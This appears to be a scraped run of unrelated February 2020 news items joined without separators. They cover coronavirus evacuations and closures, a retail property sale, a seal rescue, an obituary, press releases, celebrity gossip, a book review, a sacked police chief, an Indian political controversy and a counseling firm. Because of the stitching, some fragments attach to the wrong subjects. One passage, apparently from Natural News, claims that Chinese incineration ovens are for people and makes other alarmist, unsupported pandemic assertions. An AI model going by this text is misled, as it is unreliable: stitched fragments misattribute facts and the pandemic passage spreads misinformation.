epidemic. Public facilities should be disinfected at least twice per day, and items including crutches, wheelchairs, umbrellas and voice guide equipment should be disinfected once used. Tourist attractions should immediately report to local epidemic prevention and control departments once they find any suspected infected persons and isolate them. A total of 113 A-grade tourist attractions, Shanghai Disneyland and Shanghai Haichang Ocean Park as well as other scenic spots have put up the shutters in an effort to contain the spread of the epidemic since late January. Chinese cities such as Nanjing and Hangzhou have announced to reopen the city's tourist attractions gradually under stringent epidemic-control measures. The Dundrum Town Centre in Dublin is co-owned by Hammerson Dundrum Town Centre has not been included in retail giant Hammersons 400m (477m) portfolio sale. In a statement today, Hammerson, which co-owns Irelands largest shopping centre, described Dundrum Town Centre as one of its key retail venues. Hammerson will exit out-of-town retail locations in the UK by selling seven of them to private equity Orion amid store closures on the UK main streets and rise of online stores. The company has been trimming debt and fixing its balance sheet by divesting some its portfolio to focus on its flagship sites, premium outlets and city quarters across Europe. "Against a challenged retail and investment backdrop, we have exited the retail parks sector," chief executive David Atkins said. The company announced plans in 2018 to sell shopping centres that house a number of large retail chains following its failed takeover of rival Intu Properties. It has so far sold 14 retail parks and earned 764m. Hammerson still holds an interest in a park that is held as a joint venture with Aberdeen Standard Investments and is marked for sale. Intu too has been struggling with debt and had recently said it was in talks with its largest shareholder and new investors to raise funds to shore up its balance sheet. (Additional reporting Reuters) We are pleased to be projecting that our total entered tonnage will reach 230 million GT, and we expect P&I-owned gross tonnage to reach 160 million GT, while chartered tonnage is expected to exceed 70 million GT, said Thya Kathiravel, chief underwriting officer for North. Combined owned and chartered tonnage for FD&D reached nearly 180 million GT for the first time in Norths history. This is testament to the ongoing support of our international membership, and we would like to thank our members for their continued commitment to the club, which is reflective of their trust in our ability to help them trade with confidence. North said that 2019 and 2020 saw the company move forward as a diversified group with multiple products and premium income streams delivered through subsidiary Sunderland Marine. The Sunderland Marine offerings of hull, liability and aquaculture, together with our new fixed-premium facility, operating from our newly opened London office, we have seen significant premium growth during the past 12 months, which together with the premium increases for the mutual membership represents solid strategic progress for North, Jennings said. T his is the heartwarming moment a lost seal pup was rescued from a car park and released back into the wild. The frightened seal, who was just two or three weeks old, had managed to make his way up through a harbour and into the waterfront car park in the Scottish lowlands. He was found, severely underweight, near East Stewart Street in Greenock, Inverclyde, on November 25 last year after and was then taken to the Scottish SPCA national wildlife rescue centre in Clackmannanshire. There, staff named him Dot-to-Dot and care for him until he was ready to return home to the sea. The underweight pup was named and cared for by SPCA staff / PA Steven Gray, manager of the centre, said: What made his story so unusual was that he had managed to get up the harbour steps, along the promenade and into the car park. The fact Dot-to-Dot managed to negotiate these obstacles, especially as he was so young and underweight, was incredible. We suspect he became separated from mum, took to the water out of desperation and got swept back in by the current. Its likely that the Dot-to-Dot was exhausted, which is why he came up the harbour stairs and into the dangerous location. Dot-to-Dot was successfully released at Broughty Ferry on Thursday / PA After months of care, a fit and healthy Dot-to-Dot was finally released back into the water at Broughty Ferry in Dundee. Mr Gray added: Thankfully, the Greenock police were able to assist and stay with him until we arrived and transported him to our National Wildlife Centre at Fishcross. He has thrived in our care thanks to the hard work and dedication of the staff in the seal unit and were so happy to see him back in the wild where he belongs. Kathy Lovin, RN, MSN, was born on February 18, 1948. Kathy Lovin, formerly of Chattanooga, died in her home in Sarasota/Bradenton, Florida on Wednesday, February 12, 2020. Kathy spent the last 17 years of her working career in various managerial roles with Blue Cross Blue Shield of Tennessee, Chattanooga office. Previously, she had worked at Beacon Health Services, Healthcorp of TN and as office manager for Orthopaedic Associates all of Chattanooga. Prior to moving to Chattanooga, she also worked at hospitals in St. Louis, Mo. and Mt. Vernon, IL. She also worked as a civilian nurse at Fort Polk Army Hospital during the Vietnam War. Kathy held a diploma in Nursing from Barnes Hospital School of Nursing in St. Louis, Mo. She had a Bachelors of Science in Nursing from Webster University in St. Louis, Mo. and masters of Science in Nursing from the University of Tennessee at Chattanooga, Chattanooga. She also held certifications in Certified Professional in Healthcare Quality (CPHQ) and Six Sigma Black Belt Certification (CCSSBB) She was preceded in death by her father, Thomas Dwight Cummings and mother, Patricia Ann (Bellamy) Cummings. She is survived by her husband, Dan, of Sarasota/Bradenton, her son, Brian Lovin and wife Amanda, and grandsons , Preston and Landon all of Summerville, SC. Also surviving are her mother-in-law, Esther Lovin, Mt Vernon, Il. and uncle and aunt, Paul and Karen Bellamy, Johnson City, Tn. as well as brother and sisters-in-law, and many nieces and nephews. She and Dan just celebrated the 50 wedding anniversary on Sept. 13. She was active with the UTC Mocs Club and Associates of Vietnam Veterans Chapter 203. After retirement, she became an avid oil and watercolor painter. A Celebration of Life will be planned in the Sarasota/Bradenton area in the near future. Memorial contributions may be made to the Chattanooga Mocs Club, 615 McCallie Ave., Chattanooga, Tn. 37403 or to the Vietnam Veterans of America Chapter 203, P.O. Box 23405. Chattanooga, Tn. 37422. Locally, arrangements are announced by Chattanooga Funeral Home, Crematory & Florist. Please share your thoughts and memories at www.ChattanoogaEastChapel.com. A growing number of countries around the world are evacuating or planning to evacuate diplomatic staff and citizens from parts of China and a cruise ship in Japan hit by the new coronavirus. Following are some countries' evacuation plans, and how they aim to manage the health risk from those who are returning. - A flight carrying 129 Canadians evacuated from the Diamond Princess cruise ship in quarantine near Tokyo landed in Ontario on Feb. 21. There were 256 Canadians on board the ship, of which 47 have tested positive. All repatriated passengers on the chartered flight had tested negative. - Canada, after evacuating 215 people earlier, flew back 185 citizens from Wuhan on Feb. 11. All evacuees are quarantined on the Trenton, Ontario, base for two weeks. - More than 150 Australians arrived home on Thursday to begin two weeks of quarantine after finally leaving the Diamond Princess cruise ship docked in Japan. - British passengers will be evacuated from the British-flagged Diamond Princess cruise ship and face another 14-day quarantine upon arrival in the UK. There were more than 70 British passengers on the cruise liner when cases of Covid-19 started to emerge. - Britain's final evacuation flight from Wuhan, carrying more than 200 people, landed at a Royal Air Force base in central England on Feb. 9. A plane carrying 83 British and 27 European Union nationals from Wuhan landed in Britain at the end of January. - Six South Koreans and one Japanese spouse flew to South Korea on Wednesday morning on a chartered flight. - Taiwan plans this week to send a chartered flight, which could arrive as early as Friday afternoon, to evacuate its more than 20 citizens from the virus-hit Diamond Princess cruise ship, the Taiwan government said on Wednesday. It evacuated 247 of the estimated 500 Taiwanese stranded in Wuhan on Feb. 3. - Indonesia is "committed" to evacuating 74 of its nationals from the Diamond Princess cruise, a senior minister said on Thursday. Four Indonesians who were part of the crew on the cruise liner were infected with the coronavirus, according to a foreign ministry official. - Indonesia's government flew 243 Indonesians from Hubei on Feb. 2 and placed them under quarantine at a military base on an island northwest of Borneo. - In central Ukraine residents protested the arrival of a plane carrying evacuees from Hubei on Thursday, despite official assurances there was no danger of infection. In addition to 45 Ukrainians, there were 27 citizens of Argentina on the plane, as well as citizens from the Dominican Republic, Ecuador, El Salvador, Kazakhstan, Costa Rica and other countries. - Bangladesh evacuated 312 people, mostly students, from the coronavirus epicenter of Wuhan on a special flight on Feb. 1, the foreign minister told media after they were brought back. - A plane load of New Zealanders, Australians and Pacific Islanders evacuated from Wuhan arrived in Auckland, New Zealand on Feb. 5, officials said. - Nepal on Feb. 16 evacuated 175 of its nationals from Wuhan. - The United States flew back on Feb. 17 over 300 Americans who had been stuck on a cruise ship affected by the coronavirus. They will face two more weeks of quarantine after spending the previous 14 days docked in Japan. - Hong Kong said on Feb. 15 it would send an aircraft to Japan to bring back passengers from a quarantined cruise ship, which has seen the most coronavirus infections outside of China. - The United States authorized the voluntary departure of its government employees and their family members from Hong Kong on Feb 11. On Feb. 6, two planes with about 300 passengers, mostly U.S. citizens, took off from Wuhan for the United States, the State Department said. - A second evacuation flight is bringing back another 174 Singaporeans and their family members from Wuhan to the city state on Feb. 9, Singapore's foreign ministry said. - Thirty Filipinos returned to the Philippines on Feb. 9 from Wuhan, the Department of Foreign Affairs said. The returning passengers and a 10-member government team are quarantined for 14 days. - Uzbekistan has evacuated 251 people from China and quarantined them on arrival in Tashkent, the Central Asian nation's state airline said on Feb. 6. - The 34 Brazilians evacuated from Wuhan landed in Brazil on Feb. 9, facing 18 days of quarantine. - Italy flew back 56 nationals from Wuhan to Rome on Feb. 3. The government said the group would spend two weeks in quarantine in a military hospital. - Saudi Arabia has evacuated 10 students from Wuhan, Saudi state television reported on Feb. 2. - South Korea evacuated 147 people on a third chartered flight from Wuhan that arrived on Feb. 12. The country flew 368 people on a charter flight that arrived on Jan. 31. Search Keywords: Short link: VANCOUVER, British Columbia, Feb. 21, 2020 /PRNewswire/ -- Vancouver social entrepreneur pledges to provide fifty million meals though the sale of Fair Trade Kampot Pepper, the best pepper in the world. The late Anthony Bourdain and other renowned international chefs have raved about its unique flavor, quality and pedigree. Kampot Pepper has long been known as the best pepper in the world. Time magazine wrote: "There's pepper and then there's Cambodia's Kampot pepper. You might think that the stuff that comes out of shakers and grinders is pretty much the same wherever you go, but to increasing numbers of chefs, restaurateurs and foodies, ordinary pepper bears as much resemblance to Kampot pepper as vin de table does to fine Bordeaux. Like Champagne and Cognac it holds the coveted Protected Geographic Indication. When you purchase Fair Trade Kampot Pepper you are helping small Cambodian pepper farmers while helping to end childhood hunger in America Joseph MacLean, creator of the 50 Million Meals Campaign, spoke about their new site, www.kampotpepper.us that is raising money to help end childhood hunger in America. "When I read on www.nokidhungry.org that one in seven children face hunger in America I knew that our community-based, Fair Trade distribution system for Kampot Pepper could help." Kampot Pepper farming was virtually destroyed during the Cambodian Genocide. In 1960 the region produced 3000 tons of Kampot Pepper. In 2000 they produced two tons. Last year they produced 75 tons. They are rebuilding but need Fair Trade access to the North American market. 35% of all sales at KampotPepper.us goes to help No Kid Hungry end childhood hunger. Incredibly No Kid Hungry can deliver ten meals for every dollar they receive. "A Cone Communications report stated that 91% of global consumers are likely to switch brands to one that supports a good cause, given similar price and quality. The farmers need help and so the idea for a community-driven campaign that would donate 35% of all sales to food charities was born The 50 Million Meals Campaign. "No Kid Hungry has provided over one billion meals since 2010," MacLean shared, "and if 1/10th of one percent of pepper consumers chose Kampot Pepper that would raise enough money every year to provide another 50 million meals, potentially more. The beauty of this project is that we can offer a superlative, price competitive product and invite socially responsible consumers to make substantive change by simply choosing the best pepper in the world. We have recently added organic, artisanal hand-crafted Kampot Sea Salt to our campaign." Kampot Pepper holds the coveted PGI (Protected Geographic Indication) that puts it on the same footing as other appellation of origin brands like Champagne, Cognac, Darjeeling, Stilton etc. The founder of the social purpose brand, 'Best Pepper Ever,' lives part of the year in Phnom Voar in the heart of the Kampot Pepper growing region. He has created SE projects in social purpose real estate, software, literacy, digital education and a Fair Trade Indigenous art gallery. For More Information contact: Joseph MacLean at [email protected] or call +1-778-835-5801 SOURCE 50 Million Meals Campaign Related Links http://www.kampotpepper.us Vancouver, British Columbia--(Newsfile Corp. - February 21, 2020) - Grande Portage Resources Ltd. (TSXV: GPG) (OTCQB: GPTRF) (FSE: GPB) ("Grande Portage" or "the Company") wishes to clarify that, further to its news release dated February 6, 2020, it has now issued 4,297,122 Units, as opposed to 4,290,537 as previously announced, at a price of $0.12 per Unit for gross proceeds of $515,655 with all securities issued having a four-month hold period which expires on June 6, 2020. As such, the Company paid an aggregate of $14,920 in cash and issued 128,419 Finders Warrants in connection with this offering. Each Finder's Warrant entitles the holder to acquire one common share of the Company at $0.16 per share for 18 months from the date of closing. The Finder's Warrants are issued on the same terms and conditions as the private placement Warrants. The net proceeds of the offering will be used to advance exploration activities at the Company's Herbert Gold property, located in southeast Alaska, as well as for general working capital. In addition, the Company announces that, subject to TSX Venture Exchange approval, it has granted incentive stock options to a consultant to purchase up to 50,000 common shares exercisable on or before Feb 20, 2023 at a price of $0.25 per share. About Grande Portage: Grande Portage Resources Ltd. is a publicly traded mineral exploration company focused on the Herbert Gold discovery situated approximately 25 km north of Juneau, Alaska. The Company holds a 100% interest in the Herbert property. The Herbert Gold property system is open to length and depth and is host to at least six main composite vein-fault structures that contain ribbon structure quartz-sulfide veins. The project lies prominently within the 160km long Juneau Gold Belt, which has produced nearly seven million ounces of gold. The Company's recent Mineral Resource estimate is quoted at a base case mineral resources cut-off grade of 2.50 grams per tonne gold (g/t Au) and consists of: An indicated resource of 606,500 ounces of gold at an average grade of 10.03 g/t Au (1,880,500 tonnes); and An inferred resource of 251,700 ounces of gold at an average grade of 14.15 g/t Au (553,429 tonnes). ON BEHALF OF THE BOARD "Ian Klassen" Ian M. Klassen President & Chief Executive Officer Tel: (604) 899-0106 Email: Ian@grandeportage.com NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICE PROVIDER (AS THAT TERM IS DEFINED UNDER THE POLICIES OF THE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52674 Just one day before the release of their films, on Thursday, both Ayushmann and Vicky were seen spilling 'bromance' on the internet ahead of the release of their films Shubh Mangal Zyada Saavdhan and Bhoot Part One: The Haunted Ship. The couple welcomed their second child on February 15. The actor took to social media to share the news. "Born: February 15, 2020, ~ Please bestow our angel with all your love and blessings ~ Ecstatic parents: Raj and Shilpa Shetty Kundra." allure.com If everything falls into place, actor Priyanka Chopra may soon star in Amazon Primes new drama series titled Sheela. The show will revolve around the life of Bhagwan Shree Rajneesh aka Oshos personal secretary-turned-convicted bio-terrorist Ma Anand Sheela. The 2009 horror movie gave real-life nightmares to a couple when they found out that their adopted daughter is an adult woman masquerading as a child. She attempted to kill them. The situation was so grave that they had to leave Indiana and fled to Canada to save their lives. Asim Riaz may not have claimed his position as Bigg Boss 13 winner but he for sure has won hearts! He was one of the 'trending' contestants on the show and even after its end, there have been several reports that have been trying to track his future trajectory. (Natural News) Literally overnight, CoVid-19 coronavirus infections doubled in South Korea to 204, representing an alarming explosion of human-to-human transmission outside of China and indicating that China was just the first wave of an accelerating global pandemic. (See Pandemic.news for focused updates, podcasts, videos and science documents.) With the number of non-China infections more than doubling in the last week, we are now seeing exponential growth in infection numbers across Asia, even as China is desperately manipulating its own numbers to try to present an image that it has the coronavirus under control. Notably, China just brought in 40 new mobile incineration ovens to dispose of animal corpses in its fight against the virus. And by animals, they of course mean people (whom they treat as animals all the time anyway). The big realization in all this is that the coronavirus pandemic wont be limited to China as has been falsely asserted by nearly every mainstream media outlet over the last several weeks. Sustained, human-to-human transmission is already out of control in many additional nations, including South Korea. There is no conceivable scenario now where this stop spreading across Asia. Anyone telling you this is contained is either lying or ill-informed. North Korea, by the way, flat-out refuses to report any numbers at all, and Indonesias government had previously announced they wouldnt be conducting any coronavirus testing because the test kits were too expensive. Confirmed infections have now spread to Lebanon, Egypt, Israel, Belgium, Finland, Cambodia, Spain and Sri Lanka, among other nations. Although the numbers from those nations are currently small, they will of course explode as additional testing identifies more people who are already infected. (Remember, official numbers dont count people who havent yet been tested.) Cured patients exhibit a second surge of the virus after another 10-day incubation period Meanwhile, patients in China who have been cured and sent home are starting to show a second surge of the virus after an additional 10-day incubation period. This means people who have recovered and are sent home can then become spontaneous super spreaders yet again, without any apparent explanation yet understood by present-day doctors and epidemiologists. This horrifying fact is being covered all across Asian media today, including on Yahoo News Taiwan: (translated) According to the Peoples Daily, the district of Wangjiang Jinyuan in Chengdu, Sichuan Province, who lives in five 3rd floors of Wuhan pneumonia confirmed patients recovered, went home to quarantine, in 10 days the patient and their families have not been out of the door, in addition to wearing masks, gloves to walk a specific channel to the fixed-point hospital re-examination. On February 19th, the patients retest results were nucleic acid positive, medical institutions in the same evening, immediately picked up the patient and his family for further verification and isolation. In other words, she was cured and sent home, then later suffered another outbreak of the coronavirus in her own body, once again testing positive for the virus as a kind of second wave of infection. So far, this fact is completely unknown to the entire mainstream media in the United States. Right now, you have advanced knowledge of the coronavirus outbreak thats coming to North America. What will you do with this knowledge? Follow all our new podcasts, videos, articles and more at the new site Pandemic.news Colum McCann. Random House, $28 (480p) ISBN 978-1-4000-6960-6 National Book Awardwinner McCann (Let the Great World Spin) bases this masterful novel on the lives of two real men working together toward Middle Eastern peace. Rami Elhanan, 67 on the single day of 2016 on which the main narrative takes place, is a graphic designer and Israeli military veteran. In September 1997, his 13-year-old daughter, Smadar, was killed in a Jerusalem suicide bombing. His need for revenge fades when he joins the Parents Circle, whose members, of many nationalities and religions, have all lost a child in the Israel/Palestine conflict. Nineteen years younger than Elhanan, Palestinian Bassam Aramin is jailed in 1985, at 17, for resisting the Israeli occupiers in Hebron, where hes raised. During his imprisonment, writings by Gandhi, among others, and friendship with one of the Israeli guards convince him of the power of nonviolence. Released after seven years, he helps found Combatants for Peace, which brings Palestinian and Israeli fightersamong them Elhanans son, who introduces the two mentogether for dialogue. The fatal 2005 shooting of Bassams 10-year-old daughter, Abir, by an Israeli border guard doesnt shake his belief that Israelis and Palestinians share an equity of pain; he and Elhanan begin meeting daily, using their daughters stories to become international advocates for peace. The books title is a reference to a polygon with a countable but infinite number of sides, and McCann evokes the experience of its protagonists and their region through 1,001 brief numbered segments that incorporate sequences in the mens own voices and interconnect topics including bullet manufacturing, Jorge Luis Borges, and birds. Balancing its dazzling intellectual breadth with moments of searing intimacy, this is a transformative vision of a historic conflict and a triumph of the novelists art. Agent: Sarah Chalfant, Wylie Agency. (Feb.) ARRL Great Lakes Division Convention The Great Lakes Division Convention will be held in conjunction with the Toledo Mobile Radio Associations annual hamfest in Perrysburg, OH, on March 14th and 15th. ARRL President Rick Roderick, K5UR, will be there to meet members and give keynote address. Another special attendee is Bob Heil, K9EID, of Heil Sound who will also be a guest speaker. Check the following Web pages for the full details at: http://www.toledoglc.org A police car. Nick Starichenko/Shutterstock The Police Chief in Croydon, New Hampshire, was fired Tuesday night and ordered to turn over his uniform. Doing so, he had to walk home in a snowstorm wearing only his underwear. The police chief, Richard Lee, was the only officer working for the department. Visit Insider's homepage for more stories. Richard Lee, the police chief of Croydon, New Hampshire, had a cold walk home Tuesday night. At a town hall meeting that evening, Lee was stripped of his duties as the only police officer in Croydon. In turn, he stripped down to his underwear so that he could return his uniform, according to the New Hampshire Union Leader. "I was told that I had to turn over the keys to the cruiser and my uniform immediately. I had no other means of transportation, as the cruiser is a take-home vehicle, and I have no spare clothes in the office, so I did as ordered," Lee told the Union Leader on Wednesday. Lee said he started walking toward his home during a snowstorm wearing boots, a hat and his underwear, the Union Leader reported. His wife then picked him up along the route. Lee was employed by the town of 700 for about 20 years and was its prosecutor and only police officer. At the time, Lee said he wanted to leave the job on his own terms. "I'll quit when I'm escorted out of the building," he told the Union Leader in May 2019. It is unclear whether criminal cases can be followed through in his absence, according to the Union Leader. Select board chairman Russell Edwards told the newspaper that the decision to eliminate the police department was an economic one. "We didn't feel we were getting the value for our money," Edwards said. Lee and board members haven't always seen eye to eye, according to the paper. Last year the board hired an outside firm to investigate the department and the report hasn't been made public. Small towns across the country have been eliminating police departments due to budget issues. Story continues In New England, many rural towns have only part-time departments or no police department at all. When residents need police assistance after hours, or there is a crash in town, the state police are often relied upon. In 2018, Blandford, Massachusetts, a town of 1,200 residents, made national news when its entire police department resigned in one day. The department was made up of only four officers. "Nothing has changed from before," town administrator Joshua Garcia told the Berkshire Eagle at the time. "The state troopers at the Russell barracks respond to 90 percent of calls." Read the original article on Insider A day after AIMIM spokesperson Waris Pathan issued a communal remark of "15 crores will be tough on 100 crores", sources said that he has been warned by the party. Hyderabad MP Asaduddin Owaisi-led party, however, has not initiated any action against him, sources added. On Thursday, a video of Pathan surfaced in which he while addressing a rally Karnataka's Gulbarga instigated people and issued a communal remark: "15 crore (Muslims) will be tough on 100 crores." The party chief was also on the stage when Pathan made the remarks. BJP takes aim at Shiv Sena as AIMIM's Waris Pathan makes hateful '15 cr vs 100 cr' threat Waris Pathan's '15 crore' threat After threatening '15 crore (Muslims) will be tough on 100 crores', the former Byculla MLA also said that one must snatch 'Azadi' if not given. He added that the 'lionesses have made all sweat', referring to the Shaheen Bagh-like protests. "We have take Azadi and that which is not given, must be snatched. They are saying that we have sent our sisters ahead (Shaheen bagh). Only our tigresses have come out and you are sweating. Just understand if all of us come together then what will happen?," said Pathan adding, "We are 15 crores, but we are tough on the 100 crores, remember that." AIMIM's Waris Pathan makes hateful '15 cr vs 100 cr' threat, echoes Akbaruddin Owaisi Waris Pathan: 'Why apologise?' Later, when confronted for making a communal remark, Pathan refused to apologise. He blamed the BJP for making inflammatory comments. He insisted that he was the last person to speak against the country or any religion. Reasserting Muslims' claim over India, he alleged that BJP was trying to separate them from India. "What kind of comments are being made by BJP leaders? Waris Pathan is the last person to speak against any religion or the country and will never do so. What is there to apologise? They are construing it in their own way," he said. AIMIM's Waris Pathan won't apologise for '15 cr vs 100 cr' communal threat, blames BJP Activist raises 'pro-Pak' slogans Meanwhile, in yet another rally in Bengaluru against CAA, NRC and NPR where Owaisi was speaking, an activist - Amulya Leona disrupted the address and allegedly raised Pro-Pakistan slogans. Visuals show that Owaisi tried to grab her mike while authorities tried to get her off stage. It is unclear what exactly the woman said. The activist was heckled out by those on the stage and taken away by police. by Larissa Faw , February 21, 2020 Agencies are showing their support for Black History Month with numerous events and experiences, ranging from art exhibits to exploring why Beyonce is a global icon. Publicis Media has activated more than 70 initiatives and programs across the Groupes network, in nearly every office location in the U.S. Among the multitude of museums trips, leadership talks, and happy hours, the Feb. 27 installment of PM's monthly LinkedIn Live Series, "Trends and Insights Live" will focus on marketers need for cultural fluency and the importance of communicating authentically to engage the African American audience. For the first time, Publicis' Chicago employees will be invited to watch the episode being filmed live. It will also be livestreamed globally via LinkedIn. During the month Fallon in Minneapolis and VivaWomen of Color's Philadelphia chapter are hosting pop-up bazaars to support local-black owned businesses. VivaWomen of Color is also teaming up with its associated organization Men of Color Alliance (MOCA) to partner with Facebook to launch the "Traveling While Black" 360VR experience at several Publicis agencies. The 20-minute experience immerses viewers in the historical restrictions of movement/travel for Black Americans and the creation of safe travel itineraries. advertisement advertisement Digitas Onyx and Spark Foundry's Spark Noir organizations are working together to introduce a food festival, trivia night about black culture and inventors, and a mardi gras themed event, among other activities. Performics will also team up with Spark Noir and Digitas Onyx to host a Jazz club event in NYC. Spark Noir screened Beyonce's Homecoming documentary which was followed by a discussion around the pop culture icons contributions to culture. This energy and each of our actions reflect our commitment to supporting and celebrating our talent, while providing visibility into the varied experiences that are the fabric of Black Culture, says Ronnie Dickerson Stewart, US Chief Diversity Officer, Publicis Groupe. True to our Viva La Difference motto, it is an indisputable fact - our differences make us stronger. Meanwhile, Mindshare is hosting the Gallery of Firsts installation erected in several of its offices to highlight African Americans in U.S. history who have served as barrier breakers and created outsized impact on our nation. In addition, the WPP-owned agencys Los Angeles office is taking inspiration from an iconic game show to host its own Jeopardy-style game show to highlight the societal contributions made by the African-American community. Teams answer questions from different categories about Black inventors, musicians, and pioneers that challenged the status quo. Havas Media is offering Barbershop Talks With Marcus Samuelsson, a panel discussion as part of its #BLACKATWORK initiative that explores the black experience in corporate America on Feb. 27. Taking place at the agencys Hudson St. office in NYC, invited speakers will include photographer Idris Solomon and moderator Brittany Moten of Havas Media. Invitees hail from not only Havas Media, but will also include non-advertising professionals who expressed interest in the agency during last Mays Harlem EatUp! food festival. That particular festival was yet another example of how the agency builds on BHM outside of February. Wavemakers fourth annual Art Noir Exhibition recognized diversity with a curated exhibit featuring digital art, photography, film, graffiti, music, and AR/VR, among others. The event took place on February 20th with local artists creating personalized artwork for agency employees in attendance. This activation is part of the agencys ongoing diversity event series RQTEKT, an event to enable Wavemaker employees to express and explore their personal passions alongside other artists and their work. RAPP is celebrating Black History Month in several ways. The agency is spotlighting its top African American talent as part of its fierce individual of the week campaign on its social media platforms. The agency is also spearheading a social media initiative to celebrate historical and current game-changers, ranging from Barbara Proctor, a co-founder of Proctor & Gardner Advertising to Kimberly Bryant, founder and CEO of Black Girls Code. Also the agencys roundtable discussion--live-streamed on Feb. 18--addressed what it means to be Black in America, both personally and professionally. By Express News Service KOTTAYAM: Another sexual harassment allegation has come up against bishop Franco Mulakkal, former head of Latin Catholic diocese of Jalandhar, who is accused of rape by a nun of the same diocese. As per the documents accessed by The New Indian Express, the 14th witness in the rape case, who is also a nun of the same diocese, had given statement to the investigation team on September 9, 2018 against Bishop Franco that she also encountered sexual misbehaviour from him. As per the nun's statement, the bishop had groped and kissed her on April 30, 2017 at a convent in Kannur. This apart, he forced her for a sexual chat between 2015 and 2017. "I had to contact the bishop over the phone for some official needs since 2015. But, shortly after the bishop started talks with sexual connotations over the phone, which was disgusting for me. He also talked about sexual acts and later started describing various body parts of me and the bishop," the statement described. According to her, though she was not interested in sex chat, she couldnt oppose the bishop in fear of expulsion from the church. Meanwhile, the failure of the police in registering a case in connection with incident has kicked up controversy. Kollam rural police chief Hari Sankar, who supervised the investigation in the rape case, said though police had made all the efforts to register a case, the victim was not willing to press ahead with a complaint. "Since the place of occurrence of the crime was in Kannur, we had passed the information to Kannur police. Though Kannur district police chief had approached her for registering a case, she was not interested in prosecution," Hari Sankar said. Meanwhile, police sources said some other witnesses in the rape case also had deposed before the investigation team about sexual misbehaviour of the bishop. "Since, all the incidents had happened in Jalandhar or outside Kerala, Kerala police had some limitation in taking up with the cases," said sources. Meanwhile, Save our Sisters (SOS) forum has demanded the police to register a separate FIR against bishop with regard to the new allegation. "It is mysterious that police didnt initiate suo moto case even after nun had made a serious deposition before the investigation team. A fresh investigation should be launched into the allegation. More importantly, police should ensure that the victim, who belongs to the same diocese, is not intimidated or influenced by the bishop," said SOS office bearers in a press release. They added advocate John Ralph will appear for the victim when the court considers the discharge petition of the bishop on Saturday. A Native American woman-owned counseling firm with offices in three Native communities in Nebraska further expanded its reach this week after opening a new office in Lincoln, Nebraska. Morningstar Counseling , which is owned by Dr. Anitra Warrior, moved into a much larger office in order to provide space for its expanded staff and programs, Warrior said at a ribbon-cutting ceremony Tuesday. The business began 10 years ago at the Lincoln Indian Center. This really signifies the need in the community, said Warrior, a psychologist. This gives us the opportunity to serve more families, to do more partnerships. Warrior, a citizen of the Ponca Tribe of Oklahoma, said the partnerships her firm has established with tribes and other Native and non-Native organizations has fueled her companys growth. Among the firms partners is Santee Sioux Nation Society of Care, a program through the Santee Sioux Nation that provides behavioral health services to Native youth. Dr. Anitra Warrior, far left, speaks during a ribbon-cutting ceremony for a new office for Morningstar Counseling in Lincoln, Nebraska, on February 18, 2020. Warrior owns the firm, which also has offices on three reservations in Nebraska. Photo by Kevin Abourezk Greg Donovan, director of Society of Care, said Morningstar Counseling serves as his organizations clinical provider and offers counseling and other services to Society of Care clients. The Society of Care wouldnt exist in the way it does and be able to serve families as well as it does without Morningstar, he said. He said Society of Care, which has expanded its own programs significantly in recent years, has grown alongside Morningstar Counseling. Its just very impressive to see a Native-owned, female-owned business thrive, Donovan said. Morningstar also has other Nebraska offices in: Macy and Walthill on the Omaha Reservation; at the Santee Sioux Health Center Santee on the Santee Sioux Reservation; Winnebago Public School on the Winnebago Reservation; and Beatrice, south of Lincoln. Morningstar certainly serves a lot of different people who have a lot of different needs, said Chris Whitney, communications coordinator for the Lincoln Chamber of Commerce. "Theyre really someone that you can come to if you have problems. Dr. Anitra Warrior and Chris Whitney communications coordinator for the Lincoln Chamber of Commerce, speak during a ribbon-cutting ceremony on February 18, 2020, for a new office for Morningstar Counseling. Warrior owns the firm, which also has offices on three reservations in Nebraska. Photo by Kevin Abourezk The firm serves children, teenagers and adults who suffer from anxiety, depression, ADHD and trauma, as well as other disorders. The firm partners with schools, medical providers and tribes across Nebraska, Warrior said. Morningstar works with Lincoln Public Schools, Winnebago Public Schools and the Santee Sioux Nation. She said her firm focuses on serving all of its clients needs, including offering utility assistance and clothing vouchers. Were able to do a lot of advocacy for our families as well, she said. We really tried to think outside the box in terms of what our families need to be successful in their lives. Morningstar employs 15 people, including masters level clinicians, psychologists and office staff, and is seeking additional behavioral health providers, Warrior said. Were very thankful to have our dynamic team thats been put together, she said. She said a Native-owned counseling firm is especially effective at serving the unique needs of Native clients. For me, as a former consumer of behavioral health services, working with providers who didnt have an understanding of my culture made it very difficult, she said. She said Morningstar has begun offering Native cultural training to non-Native behavioral health providers as well. That was a promise I made to myself, that I would start working with communities, that I would offer training opportunities for providers to serve our Native population, and thats what weve been able to do, she said. A celebratory cake at Morningstar Counseling in Lincoln, Nebraska. Photo by Kevin Abourezk Native people experience different traumas than non-Natives, namely the historical trauma caused by colonization and federal assimilation efforts such as boarding schools, she said. That historical trauma has resulted in disproportionate rates of suicide, alcoholism and depression among Native people. Warrior said the lack of economic progress in many Native communities creates a sense of hopelessness among Native people, especially young people, that their lives can't be improved. In our communities, we see a lot of struggle with the historical trauma and the impact it has had on the lack of change, she said. That can cause us to lose hope in many instances. Its important to instill hope in Native youth in order to help them see a path out of their trauma, she said. She said its also important to understand other challenges facing Native youth today, including drug abuse and exposure to traumatic incidents on social media such as Facebook. Dr. Anitra Warrior, far left, speaks during a ribbon-cutting ceremony for a new office for Morningstar Counseling in Lincoln, Nebraska, on February 18, 2020. Warrior owns the firm, which also has offices on three reservations in Nebraska. Photo by Kevin Abourezk Often, Native youth and adults fail to understand the connection between their mental and physical health and their emotions, Warrior said. Our emotions demand respect, and they can take over our bodies she said. As providers, we have to think outside the box in what were providing. One-hour counseling sessions often arent enough to reverse the impact of traumatic experiences, she said. Therapists have to be willing to meet with parents and educators to understand the challenges facing the youth they are serving, she said. This is the only way were going to be able to make a difference, she said. Ultimately, our goal is to be a good relative, and that is what we need to see in our communities. Progress for our Walthill location Posted by Morningstar Counseling on Tuesday, February 18, 2020 Join the Conversation American-Mexican actor Salma Hayek shared a picture of herself sitting on the edge of a boat in a swimsuit during a tropical getaway. The 53-year-old actor soaked in the sun in a boat near a rocky cliff where she was seen wearing a black, one-piece swimsuit, white large cat-eye sunglasses and a wide-brim hat. While the gorgeous picture had no caption it did not stop Hayek's fans from praising her. The 'Frida' star got likes of stars like Jennifer Aniston and received comments from her fans. One of the 